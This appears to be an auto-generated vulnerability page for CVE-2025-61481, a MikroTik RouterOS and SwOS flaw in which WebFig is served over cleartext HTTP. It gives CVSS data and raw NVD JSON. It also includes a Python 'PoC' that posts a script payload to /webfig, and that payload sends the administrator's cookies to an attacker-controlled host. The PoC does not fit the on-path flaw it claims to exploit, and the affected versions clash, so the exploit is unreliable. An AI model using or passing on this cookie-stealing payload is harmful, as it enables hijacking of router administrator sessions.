Security Vulnerability Report
中文
CVE-2025-61481 CVSS 10.0 CRITICAL

CVE-2025-61481

Published: 2025-10-27 14:15:41
Last Modified: 2026-04-15 00:35:42

Description

An issue in MikroTik RouterOS v.7.14.2 and SwOS v.2.18 exposes the WebFig management interface over cleartext HTTP by default, allowing an on-path attacker to execute injected JavaScript in the administrator’s browser and intercept credentials.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

MikroTik RouterOS < 7.14.2
MikroTik SwOS < 2.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import argparse def exploit_cve_2025_61481(target_ip, attacker_ip): # 构造恶意JavaScript payload js_payload = """<script>fetch('http://{}:8080/steal?c='+btoa(document.cookie))</script>""".format(attacker_ip) # 发送恶意请求 target_url = f"http://{target_ip}/webfig" response = requests.post(target_url, data={'html': js_payload}) return response.text if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-61481 Exploit') parser.add_argument('--target', required=True, help='Target MikroTik IP') parser.add_argument('--attacker', required=True, help='Attacker IP') args = parser.parse_args() print(exploit_cve_2025_61481(args.target, args.attacker))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61481", "sourceIdentifier": "[email protected]", "published": "2025-10-27T14:15:41.410", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in MikroTik RouterOS v.7.14.2 and SwOS v.2.18 exposes the WebFig management interface over cleartext HTTP by default, allowing an on-path attacker to execute injected JavaScript in the administrator’s browser and intercept credentials."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-319"}, {"lang": "en", "value": "CWE-1188"}]}], "references": [{"url": "https://help.mikrotik.com/docs/spaces/ROS/pages/328131/WebFig", "source": "[email protected]"}, {"url": "https://help.mikrotik.com/docs/spaces/SWOS/pages/328415/SwOS", "source": "[email protected]"}, {"url": "https://svarthatt.se/cve/mikrotik-swos-cve-2025-61481/", "source": "[email protected]"}]}}